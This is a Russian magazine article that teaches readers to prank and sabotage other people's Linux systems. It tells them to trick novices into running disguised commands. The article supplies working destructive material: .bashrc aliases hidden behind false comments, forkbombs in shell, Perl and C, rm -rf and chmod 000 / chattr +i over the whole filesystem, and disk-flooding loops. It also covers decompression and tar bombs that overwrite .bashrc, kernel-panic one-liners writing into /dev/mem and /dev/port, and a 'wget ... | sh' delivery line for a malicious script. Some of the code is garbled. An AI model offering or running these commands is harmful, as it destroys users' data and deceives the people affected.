RFC (Request for Comments, Запрос на комментарии) - серия документов, публикуемая сообществом исследователей и разработчиков, руководствующихся практическими интересами, в которой описывается набор протоколов и обобщается опыт функционирования Интернет.
Пощады не будет! Энциклопедия UNIX-западлостроений [2009]
В UNIX есть все для осуществления самых разнообразных западлостроений: свобода действий пользователя, полный доступ ко всем, даже самым сокровенным, уголкам операционки, открытые исходные тексты, богатейший арсенал инструментария на все случаи жизни. Получив доступ к системе или просто заставив пользователя запустить показанную ему команду, ты с легкостью ввергнешь свою жертву в состояние шока, глубина которого будет зависеть только от твоих моральных принципов.
Особую привлекательность UNIX-западлостроения получают именно сейчас, когда все поголовно начинают переползать на Linux. Пингвина устанавливают дома, в школах, институтах, различных гос. учреждениях, на нетбуки, телефоны. И всем этим пользуются рядовые чайники, которым можно запросто впарить deb-пакет с программой-ускорителем интернета, заставить выполнить странную команду, которая якобы активирует механизм автоматического распараллеливания приложений по всем доступным ядрам процессора, научить печатать перед любой предложенной ему командой слово sudo. Какой простор для западлостроителя! Теперь не надо ломать голову над запрятыванием своих форк-бомб и шелл-функций в систему, необязательно ломать комп жертвы, достаточно уверить ее в том, что ты проженный жизнью Гик, который видел выход Slackware 3.0 собственными глазами и компилировал ядро Linux 1.1. Все, дело сделано. Он сам прибежит к тебе за помощью, когда споткнется об очередной камень Ubuntu Linux.
Шутки
Начнем с самых простых и совершенно безобидных приколов, которые ты сможешь устраивать с целью поднять настроение не только себе, но и жертве. Целевая аудитория: друзья и знакомые с хорошим чувством юмора.
Из всех способов удачно подколоть жертву наиболее простой и эффективный заключается в том, чтобы заменить одну или несколько часто используемых команд на псевдоним, выполняющий подложную команду (набор команд). Так, например, ты можешь посоветовать жертве свой собственный .bashrc, который содержит ряд полезнейших функций, красиво раскрашенное приглашение и улетные настройки, но в его конец ты поместишь что-нибудь вроде этого:
alias sudo='echo -e "\e[1;1H\
e[2JMatrix HAS you…"; sleep 600'
Если жертва не особо сильна в шелл-скриптинге, то скорее всего она просто заменит свой .bashrc твоим продвинутым вариантом и продолжит спокойно осваивать премудрости командной строки… Ровно до того момента, пока не вызовет команду sudo, результатом чего станет затирание всего экрана и появление надписи «Matrix HAS you…» в левом верхнем углу экрана. Также в .bashrc можно добавить инициализацию и экспорт переменной TMOUT, отвечающей за автоматическое закрытие шелла во время бездействия:
export TMOUT=10
Результат: десятисекундный простой и опа, — шелл закрылся. Пока жертва разберется, что к чему, постоянные «падения» интерпретатора ее доконают.
С помощью команд, прописанных в .bashrc, ты можешь сделать очень многое. Например, подменить клавиши клавиатуры в X Window. Для этого помести в подложный .bashrc следующий код:
$ VI .BASHRC
# Этот код чинит клавиатурные комбинации
в Firefox
if [ $DISPLAY != ""]; then
a='xmodmap -pke | grep 'a A' | cut
-d '' -f 3'
s=`xmodmap -pke | grep 's S' | cut
-d '' -f 3'
xmodmap -e "keycode $a = s S" > /
dev/null 2>&1
xmodmap -e "keycode $s = a A" > /
dev/null 2>&1
fi
Новичок вряд ли разберется в том, что конкретно делают эти команды, и просто поверит комментарию. На самом же деле код меняет клавиши ‘a’ и ‘s’ местами, так что жертва будет долго материться, полагая, что разучилась печатать, а затем и вовсе отправится в магазин за новой клавиатурой. Будет еще смешнее, если заменить местами клавиши s и l и заставить жертву установить программу sl, результатом которой будет проносящийся справа-налево поезд, нарисованный с помощью ascii art.
Безобидные шутки с выводом различных сообщений на экран монитора также могут вызвать бурю эмоций.
$ VI ~/.BASHRC
wrapper() {
DATE=$(LC_ALL=en date +’%c’)
TTY=$(basename `tty`)
echo -e «Broadcast message from
$USER (pts/$TTY) ($DATE)\n\nThe
system is going down for system halt
NOW»
sleep 500
}
alias vi=wrapper
В итоге вызов редактора vi приведет к печати примерно такого сообщения:
Broadcast message from vasya (/
dev/pts/0) Thu 24 Sep 2009 14:50:50
YEKST
The system is going down for system
halt NOW!
Вариант на языке Си (здесь и далее по тексту объявления заголовочных файлов и проверки на возвращаемые функциями значения опущены для экономии журнального пространства):
$ VI SYSLOG-FAKE.C
int main(void)
{
extern const char *__
progname;
char buf[128], hostname[256];
// скрываем имя нашей программы
__progname = "";
(void)gethostname(hostname,
sizeof(hostname));
// подготавливаем фейковое сообщение о немедленном выключении компьютера
snprintf(buf, sizeof buf,
" *** FINAL System
shutdown message from root@%s ***
System going down IMMEDIATELY",
hostname);
syslog(LOG_EMERG, buf);
exit(0);
}
Первый аргумент функции syslog() говорит о том, что сообщение является экстренным, поэтому оно попадет не только в логи системы syslog, но и будет выведено в консоль. Многие не знают о том, что в *nix-системах любой пользователь может вызвать систему регистрации событий и создать журнальные записи, якобы посланные каким-либо демоном или программой. Для примера симитируем работу почтового демона popa3d:
Еще один тип шуток эксплуатирует способность файловых систем UNIX-подобных ОС к упаковке так называемых «файловых дыр». Если в файловую систему записывается файл, содержащий достаточно длинный участок нулей (длиной, по крайней мере, в один блок), то выделения блоков для размещения этих данных не происходит, а все ссылки на блоки, содержащие нули, помечаются специальным битом. Впоследствии «нулевые» блоки могут быть выделены ФС, но до этого времени они не занимают место на диске. Эта особенность используется torrent-клиентами для создания пустых файлов, в разные места которых со временем будут помещаться скачанные данные (а место для них будет выделяться файловой системой по мере надобности).
Тот же прием можно использовать для «запугивания» жертвы: мы просто создаем необычайно длинный файл и наполняем его нулями. В результате в файловой системе появляется огромный файл, который на самом деле не занимает места. Вот код на Си:
Заменяем строку /tmp/surprise на путь до нашего фиктивного файла. Компилируем:
$ gcc hole.c -o cool_app
Подсовываем жертве. Она запускает программу и получает на экран «Segmentation fault». После чего ты говоришь ей, что, мол, бывает, попробуй запустить у друга… В конце концов жертва забывает об этой программе и в один прекрасный день натыкается на файл, размер которого равен 1048576012 байт! Почти терабайт! Далее можно начинать ржать над тем, как наш лопух рассказывает всем, что нашел у себя в системе (с жестким диском на 500 Гб) файл, размером в один терабайт. Шутка станет еще более смешной, если файл упрятать в систему достаточно хорошо. Дело в том, что многие файловые системы возвращают размер свободного/занятого пространства с учетом этих самых нулевых блоков, и получится, что после создания файла команда df будет показывать полную занятость раздела (если, конечно, он не больше 1 Тб), что совсем не соответствует истине.
Но это все невинные шалости, конкретные подколы начнутся в том случае, если ты получишь доступ к компу жертвы с правами root. Тогда тебе откроется настоящий простор для западлостроений. Например, можно изменить загрузочное меню grub (файл /boot/grub/ menu.lst) и прописать в нем Windows 95 вместо Ubuntu Linux, подсунуть другую иконку главного меню Gnome (/usr/share/icons/gnome/scalable/places/gnome-main-menu.svg), модифицировать файл /etc/fstab так, чтобы в качестве домашнего каталога пользователя монтировался каталог /tmp и многое другое.
Достаточно интересным, а главное, ставящим в тупик многих, является трюк, получивший имя «Укусить себя за хвост». Суть его заключается в том, чтобы просто снять с команды chmod права на исполнение и таким образом добиться того, что жертва не сможет менять права доступа любого файла:
# chmod -x 'which chmod'
Если хочется чего-нибудь эдакого, то вот тебе рецепт, который превратит инициацию соединения по протоколу PPTP (VPN) в вызов модемного диалап-соединения (виртуально, естественно). Выполни следующую последовательность действий:
1. Переименуй файл /usr/sbin/pptp:
# mv /usr/sbin/{pptp,pptp.bak}
2. Положи на его место скрипт:
# VI /USR/SBIN/PPTP
#!/bin/sh
dd if=/bin/ls of=/dev/dsp & pptp.bak $*
3. Дай скрипту права на исполнение:
# chmod a+x /usr/sbin/pptp
Команду pptp использует любая программа, подключающаяся к VPN-серверу по протоколу pptp, включая NetworkManager, по умолчанию поставляемый с Ubuntu. Подменив его на наш скрипт, мы добились того, что во время каждой инициации соединения с сервером пользователь будет слышать звук, сильно напоминающий издаваемый модемом при диалапном соединении. В качестве источника шумов я выбрал /bin/ls, который хорошо подходит как по длительности, так и по звучанию, но ты можешь поэкспериментировать и подобрать другой файл (желательно бинарный).
Злые шутки
Злых шуток пользователи *nix-систем придумали гораздо больше. Здесь есть все, начиная от классического «rm -Rf /», удаляющего все файлы, доступные для записи, и заканчивая многочисленными форк-бомбами и способами отправить ядро в kernel panic. Я бы порекомендовал несколько раз подумать, перед тем как применять их на практике (особенно те, которые уничтожают файлы). Целевая аудитория: обидчики, придурки, гопники и все те, кого не жалко даже твоей бабушке.
Начнем с классики — удаления всего, до чего можем добраться. Издревне эта операция производилась с помощью подсунутой пользователю команды «rm -Rf /», которую он благополучно запускал (да, и это срабатывало, а на некоторых убунтоводах сработает и сейчас), издавал несколько прощальных звуков и на несколько часов выбывал в офлайн. Сегодняшние пользователи более продвинуты и по настоянию старших не запускают команды, не прочитав man-страницы. Что же тогда делать?
Команду можно, например, замаскировать, как это сделал один из посетителей linux.org.ru в 2003 году, подкинув в форум приведенный ниже perl-скрипт с просьбой помочь в его отладке.
В результате перед каждым вызовом команды ls будет происходить очищение текущего каталога. Представь, как удивится наша жертва, когда запустит ls и увидит, что все файлы куда-то подевались. Будет еще смешнее, если она попытается выйти на каталог выше и вновь вызовет ls…
Еще один интересный трюк: выставить совершенно извращенные права на все файлы и каталоги системы:
# chown nobody:nobody -R /
# chmod 000 -R /
Это приведет к тому, что дееспособным останется только root, тогда как все остальные пользователи не смогут даже войти в систему. Более зловещий вариант: воспользоваться расширенными атрибутами файловой системы ext3/4 для того, чтобы сделать все файлы системы немодифицируемыми и неудаляемыми.
# cd /
# chattr -R +i *
Особая фишка этого способа в том, что неопытному пользователю будет очень сложно найти причину столь странного поведения файловой системы. Расширенные атрибуты не пользуются популярностью, их не показывает команда ls, многие вообще не знают о их существовании. Жертва проверит права и убедится, что все в порядке, затем начнет пробовать перемонтировать файловую систему в режиме записи, что не даст ровным счетом ничего, попытается перезагрузить систему, что будет невозможно сделать. Наконец, недруг нажмет кнопку «сброс» на системном блоке, дождется окончания восстановления журнала и вновь попробует удалить файл… Но не тут-то было, расширенные атрибуты можно убрать только с помощью утилиты chattr или через отключение их поддержки в ядре.
Если же твоя жертва — суровый профи, умеющий пользоваться загрузочным диском для восстановления системы, знающий о правах доступа и расширенных атрибутах, а способ удаления всего и вся ты считаешь слишком низким и недостойным, то предлагаю взять на заметку следующий простой шелл-скрипт:
$ cd ~; for x in 'ls'; do mv -f $x $y; y=$x; done
Он не убивает данные, не вводит в пользователя в непреодолимый ступор, но позволяет от всей души посмеяться. После выполнения этой последовательности команд все файлы и подкаталоги домашнего каталога пользователя будут иметь неправильные имена, а если точнее: будут сдвинуты на один вперед. На первый взгляд листинг файлов будет выглядеть правильно, но на проверку окажется, что содержимое любого из файлов не соответствует имени.
Жертве придется изрядно постараться и убить много времени перед тем, как она все приведет в порядок. Если ты не хочешь причинять серьезный ущерб, то тебе помогут форк-бомбы и различные способы отправить ядро в панику. В простейшем варианте форк-бомба выглядит так:
:(){ :|:& };:
А после расшифровки так:
func() {
func | func &
}
func
А на perl вот так:
$ perl -e 'fork while true;'
Команда порождает бесконечное число процессов и, если максимальное число процессов и используемой памяти не ограничено с помощью ulimit (а в подавляющем большинстве случаев так оно и есть), система вскоре исчерпает все свои ресурсы и окажется недоступной.
Чтобы сделать форк-бомбу более эффективной, надежной и смертоносной, ее следует оформить в виде бинарного файла (который будет даже проще подсунуть жертве):
$ VI FORK-BOMB.C
int main(void)
{
for (;;) {
while (fork() != -1)
;
for (;;) {
getpid();
malloc(65536);
}
}
exit(0);
}
Обрати внимание на факт использования функции malloc(), которая, будучи запущенной в бесконечном цикле, постепенно высосет из системы всю доступную оперативную память. Особое место среди UNIX-западлостроений занимают различные способы захламления файловой системы или, говоря по-человечески, файл-флуд. Флуд будет полезен тогда, когда все остальные способы оказываются неэффективными или слишком жесткими. Он не несет особой опасности, но может серьезно навредить, будучи примененным на боевом сервере. Простейший метод захламления ФС — создание файла, который будет постоянно расти и в конце концов займет все доступное пространство. Например:
$ cat /dev/random > ~/.backup &
Также возможно создание бесконечной цепочки подкаталогов:
while : ; do
mkdir subdir
cd subdir
done
Эта команда эффективно сработает на файловой системе ext4, но не нанесет особого вреда ext3 и ufs, в которые заложен лимит на количество подкаталогов (32000). Кроме того, существует и множество вариантов различных decompression-бомб и tar-бомб. Смысл их в том, чтобы создать архив, который после распаковки займет огромное пространство на жестком диске или захламит файловую систему. Decompression-бомбы создаются с помощью генерации огромных размеров файла, содержащего большое количество многократно повторяющихся блоков данных, и его упаковки с помощью bzip2. В результате совсем небольшой безобидный архив распакуется в очень большой файл, который может занять весь жест кий диск. Способ создания: берем источник данных (хоть строку «aaaaa»), организуем луп, который будет многократно добавлять содержимое источника данных в новый файл, а затем просто запаковываем его с помощью bzip2:
$ for i in {1..1000000}; do
for i in {1..1000000}; do
echo "aaaaa" >> bomb
done
done
$ bzip2 bomb
Tar-бомбы создаются иначе. Их задача не только захламить файловую систему, но и попытаться подменить какие-либо файлы базовой системы. Создаются они с помощью упаковки в tar-файл сразу нескольких каталогов и файлов, которые будут распакованы в систему, в результате чего рабочий каталог станет помойкой, а некоторые файлы будут заменены:
$ mkdir bomb
$ cd bomb
// создаем разные файлы и каталоги
$ mkdir ...
$ tar -cf bomb.tar * .*
$ bzip2 bomb.tar
После распаковки такого файла в текущем каталоге жертвы появятся все файлы и каталоги, находящиеся в архиве. Вся соль в том, что многие распаковывают архивы прямо в домашний каталог, поэтому, если в архив поместить, например, файл .bashrc с нужным нам содержимым, то оригинальный .bashrc будет заменен на аналог из архива (на скриншоте «В UNIX что угодно может быть вирусом» наглядно показано, как это сделать). А ведь это отличный способ подсунуть наш код жертве, скажешь ты и будешь абсолютно прав. Из других способов могу привести упаковку наших файлов в deb/ rpm-пакеты, которые, как оказывается, большинство пользователей запускают без всяких подозрений, и, достаточно интересный способ указания прямой ссылки на наш вредоносный скрипт:
$ wget http://адрес_скрипта -O- | sh
SHOW NO MERCY
И последнее: на самом деле убить UNIX элементарно, и для этого не нужны никакие скрипты, бомбы, стресс-тесты файловой системы и другие приблуды, достаточно одной команды.
Да-да, UNIX очень просто уничтожить прямо из командной строки. Я приведу всего пять возможных вариантов, хотя на самом деле их великое множество:
1. Убиваем головной процесс:
# kill -9 1
2. Убиваем все процессы системы в обратном порядке (чтобы посмаковать):
# kill -9 {64000..1} >
/dev/null 2>&1
3. Отправляем ядро в панику с помощью записи мусора в /dev/port:
# dd if=/dev/random of=/dev/port
4. Отправляем ядро в панику с помощью забивания памяти ядра нулями:
# dd if=/dev/zero bs=512 of=/dev/mem
5. Отправляем Linux в панику через стандартный интерфейс (!):
# echo 1 > /proc/sys/kernel/panic z
Стресс-тест файловой системы. Этот незамысловатый скрипт приводит к панике ядра ОС OPENBSD версии 3.4 и ниже
#! /bin/sh
mkdir stressdir
while [ 1 ]; do
for dir in a b c; do
mkdir stressdir/$dir
for dir2 in 0 1 2 3 4 5 6 7 8 9; do
(dd if=/dev/zero of=stressdir/$dir/$dir2 bs=1024k count=100
&& rm -f stressdor/$dir/$dir2) >/dev/null &
done
done
wait
done
Info
• Команда rm, поставляемая с сов ремен ными дистрибутивами Linux, отказывается удалять корневой каталог. Поэтому актуальная команда должна выглядеть так: «cd / && rm -rf *» или так: «rm -rf /*».
• Русская рулетка в стиле UNIX: $ [ $[ $RANDOM % 6 ] == 0 ] && rm -rf /* || echo «Жив»